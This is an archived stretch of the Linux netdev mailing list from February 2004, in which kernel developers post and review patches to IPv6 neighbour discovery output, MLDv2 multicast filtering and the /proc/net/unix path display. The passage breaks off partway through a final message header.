--0__=07BBE4A0DF8BD9F28f9e8a93df938690918c07BBE4A0DF8BD9F2-- From kazunori@miyazawa.org Fri Feb 6 20:49:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 20:49:20 -0800 (PST) Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i174nCKO009222 for ; Fri, 6 Feb 2004 20:49:12 -0800 Received: from 2001:200:1b0:2031:20c:29ff:febb:6598 ([2001:200:1b0:2031:20c:29ff:febb:6598]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,128bits,RC4-MD5) by miyazawa.org with esmtp; Sat, 07 Feb 2004 13:47:32 +0900 From: Kazunori Miyazawa To: "YOSHIFUJI Hideaki / =?iso-2022-jp?q?=1B$B5HF#1QL=40=1B=28B?=" , mika.penttila@kolumbus.fi Subject: Re: [PATCH][IPV6][NDISC] unify ipv6 output routine Date: Sat, 7 Feb 2004 13:33:51 +0900 User-Agent: KMail/1.5.4 Cc: davem@redhat.com, netdev@oss.sgi.com, usagi-core@linux-ipv6.org References: <200402070232.33771.kazunori@miyazawa.org> <4023D6FB.9010909@kolumbus.fi> <20040207.131455.27570445.yoshfuji@linux-ipv6.org> In-Reply-To: <20040207.131455.27570445.yoshfuji@linux-ipv6.org> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402071333.51909.kazunori@miyazawa.org> X-archive-position: 3079 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kazunori@miyazawa.org Precedence: bulk X-list: netdev Yoshifuji-san, thank you for following up. I recreate the pactch. It cares multicast. > > >Yoshifuji-san and I send the patch > > > which unifies IPv6 output routine > > > and remove RTF_NDISC again. It > > > resolves an issue of IPv6 IPsec > > > with neighbor discovery without a > > > flag. > > > > You break multicast replies, see > > what ndisc_build_ll_hdr() does... > > It doesn't "break." > The ip6_output2() resolves and > inserts link-layer address > appropriately. If it did, we would > have noticed (by conformance test or > even by usual operation). ;-) > > BTW, Miyazawa-san, we do not need > ndisc_build_ll_hdr() anymore. > Compiler warns it. Please remove it. > Thanks. > > > Here's the description: > > dst->neighbour owns the neighbour > entry for the destination. > > For multicast, we know its link-layer > address (filled in > ndisc_constructor()). For unicast, > the link-layer address may be > unknown. > > ip6_output2() will call > ip6_output_finish() and it tries > inserting the link-layer header. > > The destination link-layer address is > used if it is known (*). (Note: you > remember that we know link-layer > address for multicast.) > --Kazunori Miyazawa ===== include/linux/ipv6_route.h 1.4 vs edited ===== --- 1.4/include/linux/ipv6_route.h Sun Aug 31 13:26:12 2003 +++ edited/include/linux/ipv6_route.h Mon Jan 26 15:09:34 2004 @@ -24,7 +24,6 @@ #define RTF_CACHE 0x01000000 /* cache entry */ #define RTF_FLOW 0x02000000 /* flow significant route */ #define RTF_POLICY 0x04000000 /* policy route */ -#define RTF_NDISC 0x08000000 /* ndisc route */ #define RTF_LOCAL 0x80000000 ===== include/net/ip6_route.h 1.11 vs edited ===== --- 1.11/include/net/ip6_route.h Sat Jul 19 15:42:53 2003 +++ edited/include/net/ip6_route.h Sat Feb 7 04:11:39 2004 @@ -64,6 +64,7 @@ extern struct dst_entry *ndisc_dst_alloc(struct net_device *dev, struct neighbour *neigh, + struct in6_addr *addr, int (*output)(struct sk_buff *)); extern int ndisc_dst_gc(int *more); extern void fib6_force_start_gc(void); ===== include/net/ipv6.h 1.28 vs edited ===== --- 1.28/include/net/ipv6.h Wed Jan 14 09:36:24 2004 +++ edited/include/net/ipv6.h Mon Jan 26 15:10:50 2004 @@ -355,6 +355,7 @@ */ extern int ip6_output(struct sk_buff *skb); +extern int ip6_output2(struct sk_buff *skb); extern int ip6_forward(struct sk_buff *skb); extern int ip6_input(struct sk_buff *skb); extern int ip6_mc_input(struct sk_buff *skb); ===== net/ipv6/ndisc.c 1.64 vs edited ===== --- 1.64/net/ipv6/ndisc.c Thu Jan 22 15:38:40 2004 +++ edited/net/ipv6/ndisc.c Sat Feb 7 13:06:24 2004 @@ -345,65 +345,10 @@ ipv6_dev_mc_dec(dev, &maddr); } - - -static int -ndisc_build_ll_hdr(struct sk_buff *skb, struct net_device *dev, - struct in6_addr *daddr, struct neighbour *neigh, int len) -{ - unsigned char ha[MAX_ADDR_LEN]; - unsigned char *h_dest = NULL; - - if (dev->hard_header) { - if (ipv6_addr_type(daddr) & IPV6_ADDR_MULTICAST) { - ndisc_mc_map(daddr, ha, dev, 1); - h_dest = ha; - } else if (neigh) { - read_lock_bh(&neigh->lock); - if (neigh->nud_state&NUD_VALID) { - memcpy(ha, neigh->ha, dev->addr_len); - h_dest = ha; - } - read_unlock_bh(&neigh->lock); - } else { - neigh = neigh_lookup(&nd_tbl, daddr, dev); - if (neigh) { - read_lock_bh(&neigh->lock); - if (neigh->nud_state&NUD_VALID) { - memcpy(ha, neigh->ha, dev->addr_len); - h_dest = ha; - } - read_unlock_bh(&neigh->lock); - neigh_release(neigh); - } - } - - if (dev->hard_header(skb, dev, ETH_P_IPV6, h_dest, NULL, len) < 0) - return 0; - } - - return 1; -} - - /* * Send a Neighbour Advertisement */ -static int ndisc_output(struct sk_buff *skb) -{ - if (skb) { - struct neighbour *neigh = (skb->dst ? skb->dst->neighbour : NULL); - if (ndisc_build_ll_hdr(skb, skb->dev, &skb->nh.ipv6h->daddr, neigh, skb->len) == 0) { - kfree_skb(skb); - return -EINVAL; - } - dev_queue_xmit(skb); - return 0; - } - return -EINVAL; -} - static inline void ndisc_flow_init(struct flowi *fl, u8 type, struct in6_addr *saddr, struct in6_addr *daddr) { @@ -446,7 +391,7 @@ ndisc_flow_init(&fl, NDISC_NEIGHBOUR_ADVERTISEMENT, src_addr, daddr); - dst = ndisc_dst_alloc(dev, neigh, ndisc_output); + dst = ndisc_dst_alloc(dev, neigh, daddr, ip6_output2); if (!dst) return; @@ -533,7 +478,7 @@ ndisc_flow_init(&fl, NDISC_NEIGHBOUR_SOLICITATION, saddr, daddr); - dst = ndisc_dst_alloc(dev, neigh, ndisc_output); + dst = ndisc_dst_alloc(dev, neigh, daddr, ip6_output2); if (!dst) return; @@ -605,7 +550,7 @@ ndisc_flow_init(&fl, NDISC_ROUTER_SOLICITATION, saddr, daddr); - dst = ndisc_dst_alloc(dev, NULL, ndisc_output); + dst = ndisc_dst_alloc(dev, NULL, daddr, ip6_output2); if (!dst) return; ===== net/ipv6/route.c 1.63 vs edited ===== --- 1.63/net/ipv6/route.c Sun Jan 25 03:09:52 2004 +++ edited/net/ipv6/route.c Sat Feb 7 03:57:17 2004 @@ -563,6 +563,7 @@ struct dst_entry *ndisc_dst_alloc(struct net_device *dev, struct neighbour *neigh, + struct in6_addr *addr, int (*output)(struct sk_buff *)) { struct rt6_info *rt = ip6_dst_alloc(); @@ -574,11 +575,13 @@ dev_hold(dev); if (neigh) neigh_hold(neigh); + else + neigh = ndisc_get_neigh(dev, addr); rt->rt6i_dev = dev; rt->rt6i_nexthop = neigh; rt->rt6i_expires = 0; - rt->rt6i_flags = RTF_LOCAL | RTF_NDISC; + rt->rt6i_flags = RTF_LOCAL; rt->rt6i_metric = 0; atomic_set(&rt->u.dst.__refcnt, 1); rt->u.dst.metrics[RTAX_HOPLIMIT-1] = 255; @@ -832,7 +835,7 @@ } } - rt->rt6i_flags = rtmsg->rtmsg_flags & ~RTF_NDISC; + rt->rt6i_flags = rtmsg->rtmsg_flags; install_route: if (rta && rta[RTA_METRICS-1]) { @@ -1124,8 +1127,6 @@ static struct rt6_info * ip6_rt_copy(struct rt6_info *ort) { struct rt6_info *rt = ip6_dst_alloc(); - - BUG_ON(ort->rt6i_flags & RTF_NDISC); if (rt) { rt->u.dst.input = ort->u.dst.input; ===== net/ipv6/xfrm6_policy.c 1.14 vs edited ===== --- 1.14/net/ipv6/xfrm6_policy.c Fri Oct 24 21:39:33 2003 +++ edited/net/ipv6/xfrm6_policy.c Mon Jan 26 15:12:35 2004 @@ -55,13 +55,6 @@ __xfrm6_find_bundle(struct flowi *fl, struct rtable *rt, struct xfrm_policy *policy) { struct dst_entry *dst; - u32 ndisc_bit = 0; - - if (fl->proto == IPPROTO_ICMPV6 && - (fl->fl_icmp_type == NDISC_NEIGHBOUR_ADVERTISEMENT || - fl->fl_icmp_type == NDISC_NEIGHBOUR_SOLICITATION || - fl->fl_icmp_type == NDISC_ROUTER_SOLICITATION)) - ndisc_bit = RTF_NDISC; /* Still not clear if we should set fl->fl6_{src,dst}... */ read_lock_bh(&policy->lock); @@ -69,9 +62,6 @@ struct xfrm_dst *xdst = (struct xfrm_dst*)dst; struct in6_addr fl_dst_prefix, fl_src_prefix; - if ((xdst->u.rt6.rt6i_flags & RTF_NDISC) != ndisc_bit) - continue; - ipv6_addr_prefix(&fl_dst_prefix, &fl->fl6_dst, xdst->u.rt6.rt6i_dst.plen); @@ -169,7 +159,7 @@ dst_prev->output = dst_prev->xfrm->type->output; /* Sheit... I remember I did this right. Apparently, * it was magically lost, so this code needs audit */ - x->u.rt6.rt6i_flags = rt0->rt6i_flags&(RTCF_BROADCAST|RTCF_MULTICAST|RTCF_LOCAL|RTF_NDISC); + x->u.rt6.rt6i_flags = rt0->rt6i_flags&(RTCF_BROADCAST|RTCF_MULTICAST|RTCF_LOCAL); x->u.rt6.rt6i_metric = rt0->rt6i_metric; x->u.rt6.rt6i_node = rt0->rt6i_node; x->u.rt6.rt6i_gateway = rt0->rt6i_gateway; From acme@conectiva.com.br Fri Feb 6 21:00:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 21:01:10 -0800 (PST) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1750tKO009728 for ; Fri, 6 Feb 2004 21:00:56 -0800 Received: from [200.163.195.99] (helo=oops.kerneljanitors.org) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1ApKeh-0000tV-00; Sat, 07 Feb 2004 03:05:23 -0200 Received: by oops.kerneljanitors.org (Postfix, from userid 500) id DA841E731; Sat, 7 Feb 2004 03:17:53 -0200 (BRDT) Date: Sat, 7 Feb 2004 03:17:53 -0200 From: Arnaldo Carvalho de Melo To: "David S. Miller" Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH 2/3] IPV6: unify 3 similar code path in ndisc_recv_ns() Message-ID: <20040207051753.GC25484@conectiva.com.br> References: <20040206.181006.79694138.yoshfuji@linux-ipv6.org> <20040206153201.126c88b8.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040206153201.126c88b8.davem@redhat.com> X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.5.1i Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1750tKO009728 X-archive-position: 3080 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Em Fri, Feb 06, 2004 at 03:32:01PM -0800, David S. Miller escreveu: > On Fri, 06 Feb 2004 18:10:06 +0900 (JST) > YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > > > [PATCH 2/3] IPV6: unify 3 similar code path in ndisc_recv_ns() > > > > D: Unify 3 similar code path in ndisc_recv_ns(). > > D: This patch also fixes: > > D: - flags sent with NA in reply to this NS > > D: - missing random delay after receipt of NS against anycast > > Very nice consolidation of code. Indeed, I'm out of the game for a while, swamped in distro work, but don't worry... I'll be back! :-P - Arnaldo From yoshfuji@linux-ipv6.org Fri Feb 6 21:24:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 21:24:37 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i175ORKO010542 for ; Fri, 6 Feb 2004 21:24:27 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 0434733CA5; Sat, 7 Feb 2004 14:25:20 +0900 (JST) Date: Sat, 07 Feb 2004 14:25:19 +0900 (JST) Message-Id: <20040207.142519.117436499.yoshfuji@linux-ipv6.org> To: dlstevens@us.ibm.com Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: Source Specific Query of MLDv2 [PATCH] From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040207.132233.21960944.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3081 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Fri, 6 Feb 2004 20:39:47 -0800), David Stevens says: > > Why not in icmpv6_rcv()? > > I don't understand this question. It's needed every place > *except* icmpv6_rcv(). Sorry for any confusion. > > > - hdr = skb->nh.ipv6h; > > > - if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr)) > > > - deliver = 1; > > > - > > > Please do not remove this. > > We need to check destination (but not source) > > because the driver may be in "promisc." mode. > > I'm not removing it, I'm moving it. The original code > is: : > > In promiscuous mode, it will parse the extension headers > for non-local multicasts before dropping them. But what > you suggested will do two multicast address look-ups for > every multicast packet (including the valid ones). One > for the destination and another for the destination/source > filter. Yes, but it changes the original and traditional behavior. Well... It is okay not to check destination here with good hardware / driver. We however should check the destination before the process of extension headers for bad hardware / driver. ipv6_chk_mcast_addr() in ip6_mc_input() has been helper for them We should keep it in ip6_mc_input(). So... hmm... Let's check dev->flags ^ (IFF_PROMISC|IFF_ALLMULTI) like this. I don't think it is so costy for usual operation. If you think it is, please introduce hash table for mc_list in idev; it should have been "heavy." :-) (You can do it later, of course.) ===== net/ipv6/ip6_input.c 1.14 vs edited ===== --- 1.14/net/ipv6/ip6_input.c Tue Jun 17 00:11:36 2003 +++ edited/net/ipv6/ip6_input.c Sat Feb 7 14:14:30 2004 @@ -218,7 +218,8 @@ IP6_INC_STATS_BH(Ip6InMcastPkts); hdr = skb->nh.ipv6h; - if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr)) + if ((skb->dev->flags ^ (IFF_PROMISC|IFF_ALLMULTI)) == 0 || + ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, NULL)) deliver = 1; /* ===== net/ipv6/mcast.c 1.50 vs edited ===== --- 1.50/net/ipv6/mcast.c Thu Jan 29 09:06:25 2004 +++ edited/net/ipv6/mcast.c Sat Feb 7 13:58:58 2004 @@ -918,7 +918,7 @@ break; } if (mc) { - if (!ipv6_addr_any(src_addr)) { + if (src_addr && !ipv6_addr_any(src_addr)) { struct ip6_sf_list *psf; spin_lock_bh(&mc->mca_lock); -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From dlstevens@us.ibm.com Fri Feb 6 22:41:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 22:41:38 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i176fSKO012402 for ; Fri, 6 Feb 2004 22:41:34 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i176ekwX055496; Sat, 7 Feb 2004 01:40:46 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i176ejbP078750; Fri, 6 Feb 2004 23:40:46 -0700 In-Reply-To: <20040207.142519.117436499.yoshfuji@linux-ipv6.org> Subject: Re: Source Specific Query of MLDv2 [PATCH] To: YOSHIFUJI Hideaki / =?ISO-2022-JP?B?GyRCNUhGIzFRTEAbKEI=?= Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, "Hideaki YOSHIFUJI" , yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Fri, 6 Feb 2004 22:40:42 -0800 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/06/2004 23:40:46 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4A0DFB1E16A8f9e8a93df938690918c07BBE4A0DFB1E16A" Content-Disposition: inline X-archive-position: 3083 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 2188 Lines: 54 --0__=07BBE4A0DFB1E16A8f9e8a93df938690918c07BBE4A0DFB1E16A Content-type: text/plain; charset=US-ASCII Good idea; I'll incorporate all the comments, retest and repost. > So... hmm... Let's check dev->flags ^ (IFF_PROMISC|IFF_ALLMULTI) like this. I think you mean (dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) here, right? > I don't think it is so costy for usual operation. > If you think it is, please introduce hash table for mc_list in idev; > it should have been "heavy." :-) > (You can do it later, of course.) This certainly could be done and I had this in mind for the future when I designed the interface filter data structures (made sure everything for the intersection and union is directly available given only the ifmcaddr). I should do some testing to see how many MCA's or source filters are needed to make a hash worthwhile, and maybe how many before it falls over. :-) thanks! +-DLS --0__=07BBE4A0DFB1E16A8f9e8a93df938690918c07BBE4A0DFB1E16A Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Good idea; I'll incorporate all the comments, retest and repost.

> So... hmm... Let's check dev->flags ^ (IFF_PROMISC|IFF_ALLMULTI) like this.

I think you mean (dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) here, right?

> I don't think it is so costy for usual operation.
> If you think it is, please introduce hash table for mc_list in idev;
> it should have been "heavy." :-)
> (You can do it later, of course.)

This certainly could be done and I had this in mind for the future when
I designed the interface filter data structures (made sure everything

for the intersection and union is directly available given only the
ifmcaddr). I should do some testing to see how many MCA's or source
filters are needed to make a hash worthwhile, and maybe how many before
it falls over. :-)
thanks!
+-DLS --0__=07BBE4A0DFB1E16A8f9e8a93df938690918c07BBE4A0DFB1E16A-- From yoshfuji@linux-ipv6.org Fri Feb 6 22:45:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 22:45:14 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i176jAKO012783 for ; Fri, 6 Feb 2004 22:45:11 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 85A0633CA5; Sat, 7 Feb 2004 15:46:03 +0900 (JST) Date: Sat, 07 Feb 2004 15:46:03 +0900 (JST) Message-Id: <20040207.154603.51160771.yoshfuji@linux-ipv6.org> To: dlstevens@us.ibm.com Cc: davem@redhat.com, hibi665@oki.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: Source Specific Query of MLDv2 [PATCH] From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040207.142519.117436499.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3084 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 596 Lines: 16 In article (at Fri, 6 Feb 2004 22:40:42 -0800), David Stevens says: > Good idea; I'll incorporate all the comments, retest and repost. > > > So... hmm... Let's check dev->flags ^ (IFF_PROMISC|IFF_ALLMULTI) like > this. > > I think you mean (dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) here, > right? Oops! Sorry, you're right... And, it'd be good to use unlikely() here. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From hirofumi@mail.parknet.co.jp Fri Feb 6 23:03:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Feb 2004 23:04:00 -0800 (PST) Received: from mail.parknet.co.jp (mail.parknet.co.jp [210.171.160.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1773uKO013433 for ; Fri, 6 Feb 2004 23:03:57 -0800 Received: from ibmpc.myhome.or.jp [210.171.164.65] by mail.parknet.co.jp with ESMTP (SMTPD32-4.10) id ACF16EFB0138; Sat, 07 Feb 2004 16:04:01 +0900 Received: from devron.myhome.or.jp (root@devron.myhome.or.jp [192.168.0.3]) by ibmpc.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) with ESMTP id i1773qBl016768 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sat, 7 Feb 2004 16:03:54 +0900 Received: from devron.myhome.or.jp (hirofumi@localhost [127.0.0.1]) by devron.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) with ESMTP id i1773qLO005908 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sat, 7 Feb 2004 16:03:52 +0900 Received: (from hirofumi@localhost) by devron.myhome.or.jp (8.12.11.Beta0/8.12.11.Beta0/Debian-1) id i1773maU005905; Sat, 7 Feb 2004 16:03:48 +0900 To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] af_unix: Fix path of /proc/net/unix From: OGAWA Hirofumi Date: Sat, 07 Feb 2004 16:03:48 +0900 Message-ID: <878yjf2wx7.fsf@devron.myhome.or.jp> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3085 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hirofumi@mail.parknet.co.jp Precedence: bulk X-list: netdev Content-Length: 1481 Lines: 54 Hi, /proc/net/unix on 2.4, c14e0580: 0000000C 00000000 00000000 0002 01 742 /dev/log c06bfa80: 00000002 00000000 00000000 0002 01 1019617 @0123 ... /proc/net/unix on 2.6, c7c85d1c: 0000000C 00000000 00000000 0002 01 1021 /dev/log^@ c551bd5c: 00000002 00000000 00000000 0002 01 5692 ^@0123 ... @ We should overwrite the first "nul" by "@" in the case of abstract path, otherwise currently "netstat -x" can't print, at least. And normal one, odd "nul" was added. This patch does behavior of 2.4. Please apply. --- net/unix/af_unix.c | 15 ++++++++++----- 1 files changed, 10 insertions(+), 5 deletions(-) diff -puN net/unix/af_unix.c~af_unix-abstruct-fix net/unix/af_unix.c --- linux-2.6.2/net/unix/af_unix.c~af_unix-abstruct-fix 2004-02-07 01:47:05.000000000 +0900 +++ linux-2.6.2-hirofumi/net/unix/af_unix.c 2004-02-07 03:39:06.000000000 +0900 @@ -1863,14 +1863,19 @@ static int unix_seq_show(struct seq_file sock_i_ino(s)); if (u->addr) { - int i; + int i, len; seq_putc(seq, ' '); - - for (i = 0; i < u->addr->len-sizeof(short); i++) - seq_putc(seq, u->addr->name->sun_path[i]); - if (UNIX_ABSTRACT(s)) + i = 0; + len = u->addr->len - sizeof(short); + if (!UNIX_ABSTRACT(s)) + len--; + else { seq_putc(seq, '@'); + i++; + } + for ( ; i < len; i++) + seq_putc(seq, u->addr->name->sun_path[i]); } unix_state_runlock(s); seq_putc(seq, '\n'); _ -- OGAWA Hirofumi From mika.penttila@kolumbus.fi Sat Feb 7 00:36:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 00:36:13 -0800 (PST) Received: from notes.hallinto.turkuamk.fi (notes.hallinto.turkuamk.fi [195.148.215.149]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i178a3KO017888 for ; Sat, 7 Feb 2004 00:36:04 -0800 Received: from kolumbus.fi ([193.166.244.70]) by marconi.hallinto.turkuamk.fi (Lotus Domino Release 5.0.8) with ESMTP id 2004020710381238:6540 ; Sat, 7 Feb 2004 10:38:12 +0200 Message-ID: <4024A488.60203@kolumbus.fi> Date: Sat, 07 Feb 2004 10:40:40 +0200 From: =?ISO-8859-1?Q?Mika_Penttil=E4?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: =?ISO-8859-1?Q?YOSHIFUJI_Hideaki_/_=3F=3F=3F=3F?= CC: kazunori@miyazawa.org, davem@redhat.com, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH][IPV6][NDISC] unify ipv6 output routine References: <200402070232.33771.kazunori@miyazawa.org> <4023D6FB.9010909@kolumbus.fi> <20040207.131455.27570445.yoshfuji@linux-ipv6.org> In-Reply-To: <20040207.131455.27570445.yoshfuji@linux-ipv6.org> X-MIMETrack: Itemize by SMTP Server on marconi.hallinto.turkuamk.fi/TAMK(Release 5.0.8 |June 18, 2001) at 07.02.2004 10:38:12, Serialize by Router on notes.hallinto.turkuamk.fi/TAMK(Release 5.0.10 |March 22, 2002) at 07.02.2004 10:37:25, Serialize complete at 07.02.2004 10:37:25 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i178a3KO017888 X-archive-position: 3086 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mika.penttila@kolumbus.fi Precedence: bulk X-list: netdev Content-Length: 2228 Lines: 82 YOSHIFUJI Hideaki / ???? wrote: >In article <4023D6FB.9010909@kolumbus.fi> (at Fri, 06 Feb 2004 20:03:39 +0200), Mika Penttilä says: > > > >>Kazunori Miyazawa wrote: >> >> >: > > >>>Yoshifuji-san and I send the patch which unifies IPv6 output routine and remove >>>RTF_NDISC again. It resolves an issue of IPv6 IPsec with neighbor discovery >>>without a flag. >>> >>> >: > > >>You break multicast replies, see what ndisc_build_ll_hdr() does... >> >> > >It doesn't "break." >The ip6_output2() resolves and inserts link-layer address appropriately. >If it did, we would have noticed (by conformance test or even by >usual operation). ;-) > > ip6_output2() doesn't resolve link-layer addresses. We don't even have a neighbour, in ndisc_dst_alloc(dev, NULL, ip6_output2); case. >BTW, Miyazawa-san, we do not need ndisc_build_ll_hdr() anymore. >Compiler warns it. Please remove it. Thanks. > > >Here's the description: > >dst->neighbour owns the neighbour entry for the destination. > >For multicast, we know its link-layer address >(filled in ndisc_constructor()). >For unicast, the link-layer address may be unknown. > >ip6_output2() will call ip6_output_finish() and >it tries inserting the link-layer header. > >The destination link-layer address is used if it is known (*). >(Note: you remember that we know link-layer address for multicast.) > >If the link-layer address is not known or invalid, >we queue the packet and resolve the link-layer address for the destination. >Here, since the neighbour entry is "invalid," *multicast* NS is sent. >The NS packet passes similar path. >We know the destination for the NS is multicast and >what the link-layer address is, and the packet is sent via (*). >We will send the queued packet when we got NA from that node. > >Real story: >A node may send NS without source link-layer address option >while we do not know the link-layer address for the source of the NS. >We need to send NA in reply to this NS. >Original code cannot handle this case. The new code path can. > > You just described how the normal link layer address resolving goes. It doesn't apply here. Again, there is no dst->neighbour. --Mika From yoshfuji@linux-ipv6.org Sat Feb 7 02:27:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 07 Feb 2004 02:27:22 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i17ARBKO019916 for ; Sat, 7 Feb 2004 02:27:14 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 88D8333CA5; Sat, 7 Feb 2004 19:28:04 